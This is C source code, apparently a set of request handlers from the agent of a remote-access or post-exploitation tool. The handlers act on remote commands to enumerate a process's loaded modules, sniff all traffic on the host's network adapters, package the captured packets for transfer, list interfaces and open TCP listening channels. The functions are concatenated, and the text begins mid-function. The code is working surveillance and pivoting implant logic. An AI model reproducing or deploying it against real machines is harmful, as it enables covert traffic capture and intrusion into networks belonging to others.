sizeof(HMODULE) * 512; do { // Free previous storage if (modules) free(modules); // Allocate storage for the array modules = (HMODULE *)malloc(actual); // Try to enumerate the image's modules if (enumProcessModules(handle, modules, actual, &needed)) { valid = TRUE; break; } } while ((actual < needed) && (tries++ < 3)); // If we failed to succeed... if (!valid) { result = GetLastError(); break; } // Enumerate through all of the modules... for (index = 0; index < needed / sizeof(HMODULE); index++) { char path[1024], name[512]; DWORD base = 0; Tlv tlvs[3]; memset(name, 0, sizeof(name)); memset(path, 0, sizeof(path)); // Query for base name and file name if ((!getModuleBaseName(handle, modules[index], name, sizeof(name) - 1)) || (!getModuleFileNameEx(handle, modules[index], path, sizeof(path) - 1))) { result = GetLastError(); break; } base = htonl((DWORD)modules[index]); tlvs[0].header.length = sizeof(HMODULE); tlvs[0].header.type = TLV_TYPE_IMAGE_BASE; tlvs[0].buffer = (PUCHAR)&base; tlvs[1].header.length = (DWORD)strlen(path) + 1; tlvs[1].header.type = TLV_TYPE_IMAGE_FILE_PATH; tlvs[1].buffer = (PUCHAR)path; tlvs[2].header.length = (DWORD)strlen(name) + 1; tlvs[2].header.type = TLV_TYPE_IMAGE_NAME; tlvs[2].buffer = (PUCHAR)name; packet_add_tlv_group(response, TLV_TYPE_IMAGE_GROUP, tlvs, 3); } } while (0); // Transmit the response packet_transmit_response(result, remote, response); // Cleanup if (modules) free(modules); // Close the psapi library and clean up if (psapi) FreeLibrary(psapi); return ERROR_SUCCESS; }
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); unsigned int ifid; unsigned int maxp; CaptureJob *j; DWORD result; HANDLE ifh; check_pssdk(); dprintf("sniffer>> start_capture()"); ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID); maxp = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_PACKET_COUNT); maxp = min(maxp, 200000); maxp = max(maxp, 1); result = ERROR_SUCCESS; do { // the interface is invalid if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) { result = ERROR_INVALID_PARAMETER; break; } ifh = pktsdk_interface_by_index(ifid); if(ifh == NULL) { result = ERROR_INVALID_PARAMETER; break; } j = &open_captures[ifid]; // the interface is already being captured if(j->active) { result = ERROR_INVALID_PARAMETER; break; } j->adp = AdpCreate(); dprintf("sniffer>> capture_start() AdpCreate: 0x%.8x", j->adp); AdpSetConfig(j->adp,ifh); hErr = AdpOpenAdapter(j->adp); dprintf("sniffer>> capture_start() AdpOpenAdapter: 0x%.8x", hErr); if (hErr != HNERR_OK) { AdpDestroy(j->adp); result = hErr; break; } j->pkts = calloc(maxp, sizeof(HANDLE)); if(j->pkts == NULL) { AdpCloseAdapter(j->adp); AdpDestroy(j->adp); result = ERROR_ACCESS_DENIED; break; } j->active = 1; j->intf = ifid; j->max_pkts = maxp; j->cur_pkts = 0; j->mtu = AdpCfgGetMaxPacketSize(AdpGetConfig(j->adp)); AdpSetOnPacketRecv(j->adp, (FARPROC) sniffer_receive, (DWORD_PTR)j); AdpSetMacFilter(j->adp, mfAll); } while(0); packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/*! * @brief Allocates a streaming TCP server channel. * @param remote Pointer to the remote instance. * @param packet Pointer to the request packet. * @returns Indication of success or failure. * @retval ERROR_SUCCESS Opening the server channel completed successfully. */ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) { DWORD dwResult = ERROR_SUCCESS; TcpServerContext * ctx = NULL; Packet * response = NULL; char * localHost = NULL; StreamChannelOps chops = { 0 }; USHORT localPort = 0; BOOL v4Fallback = FALSE; do { response = packet_create_response(packet); if (!response) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY); } ctx = (TcpServerContext *)malloc(sizeof(TcpServerContext)); if (!ctx) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY); } memset(ctx, 0, sizeof(TcpServerContext)); ctx->remote = remote; localPort = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF); if (!localPort) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. localPort == NULL", ERROR_INVALID_HANDLE); } localHost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST); ctx->fd = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); if (ctx->fd == INVALID_SOCKET) { v4Fallback = TRUE; } else { int no = 0; if (setsockopt(ctx->fd, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR) { // fallback to ipv4 - we're probably running on Windows XP or earlier here, which means that to // support IPv4 and IPv6 we'd need to create two separate sockets. IPv6 on XP isn't that common // so instead, we'll just revert back to v4 and listen on that one address instead. closesocket(ctx->fd); v4Fallback = TRUE; } } struct sockaddr_in6 sockAddr = { 0 }; DWORD sockAddrSize = 0; if (v4Fallback) { struct sockaddr_in* v4Addr = (struct sockaddr_in*)&sockAddr; v4Addr->sin_addr.s_addr = localHost == NULL ? htons(INADDR_ANY) : inet_addr(localHost); v4Addr->sin_family = AF_INET; v4Addr->sin_port = htons(localPort); sockAddrSize = sizeof(struct sockaddr_in); } else { // TODO: add IPv6 address binding support sockAddr.sin6_addr = in6addr_any; sockAddr.sin6_family = AF_INET6; sockAddr.sin6_port = htons(localPort); sockAddrSize = sizeof(struct sockaddr_in6); } if (bind(ctx->fd, (SOCKADDR *)&sockAddr, sockAddrSize) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed"); } if (listen(ctx->fd, SOMAXCONN) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. listen failed"); } ctx->notify = WSACreateEvent(); if (ctx->notify == WSA_INVALID_EVENT) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed"); } if (WSAEventSelect(ctx->fd, ctx->notify, FD_ACCEPT) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed"); } ctx->ipv6 = !v4Fallback; memset(&chops, 0, sizeof(StreamChannelOps)); chops.native.context = ctx; chops.native.close = tcp_channel_server_close; ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops); if (!ctx->channel) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE); } scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL); packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel)); dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, channel_get_id(ctx->channel)); } while (0); packet_transmit_response(dwResult, remote, response); do { if (dwResult == ERROR_SUCCESS) { break; } dprintf("[TCP-SERVER] Error encountered %u 0x%x", dwResult, dwResult); if (!ctx) { break; } if (ctx->fd) { dprintf("[TCP-SERVER] Destroying socket"); closesocket(ctx->fd); } if (ctx->channel) { dprintf("[TCP-SERVER] Destroying channel"); channel_destroy(ctx->channel, packet); } free(ctx); } while (0); return dwResult; }
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); Tlv entries[8]; /* 0: Index 1: Name 2: Description 3: Type 4: MTU 5: Wireless? 6: Accessible? 7: DHCP? */ unsigned int idx = 1; HANDLE hCfg; check_pssdk(); hCfg = MgrGetFirstAdapterCfg(hMgr); do { unsigned char *aname = (unsigned char *)AdpCfgGetAdapterNameA(hCfg); unsigned char *adesc = (unsigned char *)AdpCfgGetAdapterDescriptionA(hCfg); unsigned int ahand = htonl((unsigned int)hCfg); unsigned int atype = htonl(AdpCfgGetAdapterType(hCfg)); unsigned int amtu = htonl(AdpCfgGetMaxPacketSize(hCfg)); unsigned int aidx = htonl(idx); BOOL awireless = AdpCfgIsWireless(hCfg); BOOL ausable = AdpCfgGetAccessibleState(hCfg); BOOL adhcp = AdpCfgGetDhcpState(hCfg); memset(entries, 0, sizeof(entries)); dprintf("sniffer>> interface %d - %s - %s", idx, aname, adesc); entries[0].header.type = TLV_TYPE_UINT; entries[0].header.length = sizeof(unsigned int); entries[0].buffer = (PUCHAR)&aidx; entries[1].header.type = TLV_TYPE_STRING; entries[1].header.length = strlen(aname)+1; entries[1].buffer = aname; entries[2].header.type = TLV_TYPE_STRING; entries[2].header.length = strlen(adesc)+1; entries[2].buffer = adesc; entries[3].header.type = TLV_TYPE_UINT; entries[3].header.length = sizeof(unsigned int); entries[3].buffer = (PUCHAR)&atype; entries[4].header.type = TLV_TYPE_UINT; entries[4].header.length = sizeof(unsigned int); entries[4].buffer = (PUCHAR)&amtu; entries[5].header.type = TLV_TYPE_BOOL; entries[5].header.length = sizeof(BOOL); entries[5].buffer = (PUCHAR)&awireless; entries[6].header.type = TLV_TYPE_BOOL; entries[6].header.length = sizeof(BOOL); entries[6].buffer = (PUCHAR)&ausable; entries[7].header.type = TLV_TYPE_BOOL; entries[7].header.length = sizeof(BOOL); entries[7].buffer = (PUCHAR)&adhcp; packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8); idx++; }while((hCfg = MgrGetNextAdapterCfg(hMgr,hCfg)) != NULL); packet_transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; }
DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); unsigned int ifid; unsigned int rbuf,mbuf; unsigned int *tmp; CaptureJob *j; DWORD result,pcnt,bcnt,rcnt,i; DWORD thi, tlo; check_pssdk(); dprintf("sniffer>> capture_dump()"); ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID); dprintf("sniffer>> capture_dump(0x%.8x)", ifid); result = ERROR_SUCCESS; EnterCriticalSection(&sniffercs); do { // the interface is invalid if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) { result = ERROR_INVALID_PARAMETER; break; } j = &open_captures[ifid]; // the interface was not captured if(! j->adp) { result = ERROR_INVALID_PARAMETER; break; } // Free any existing packet buffer if(j->dbuf) { free(j->dbuf); j->dbuf = NULL; j->dlen = 0; j->didx = 0; } // Add basic stats pcnt = 0; bcnt = 0; rcnt = 0; mbuf = (1024*1024); j->dbuf = malloc(mbuf); rbuf = 0; for(i=0; i<j->max_pkts; i++) { if(!j->pkts[i]) break; rbuf += (8 + 8 + 4 + PktGetPacketSize(j->pkts[i])); if(mbuf < rbuf) { mbuf += (1024*1024); j->dbuf = realloc(j->dbuf, mbuf); if(!j->dbuf) { dprintf("sniffer>> realloc of %d bytes failed!", rbuf); result = ERROR_NOT_ENOUGH_MEMORY; break; } } tmp = (unsigned int *)( j->dbuf + rcnt ); tlo = PktGetId(j->pkts[i], &thi); *tmp = htonl(thi); tmp++; *tmp = htonl(tlo); tmp++; tlo = PktGetTimeStamp(j->pkts[i], &thi); *tmp = htonl(thi); tmp++; *tmp = htonl(tlo); tmp++; tlo = PktGetPacketSize(j->pkts[i]); *tmp = htonl(tlo); tmp++; memcpy(j->dbuf+rcnt+20, PktGetPacketData(j->pkts[i]), tlo); rcnt += 20 + tlo; pcnt++; PktDestroy(j->pkts[i]); j->pkts[i] = NULL; } j->dlen = rcnt; packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, pcnt); packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, rcnt); dprintf("sniffer>> finished processing packets"); j->cur_bytes = 0; j->cur_pkts = 0; j->idx_pkts = 0; } while(0); LeaveCriticalSection(&sniffercs); packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }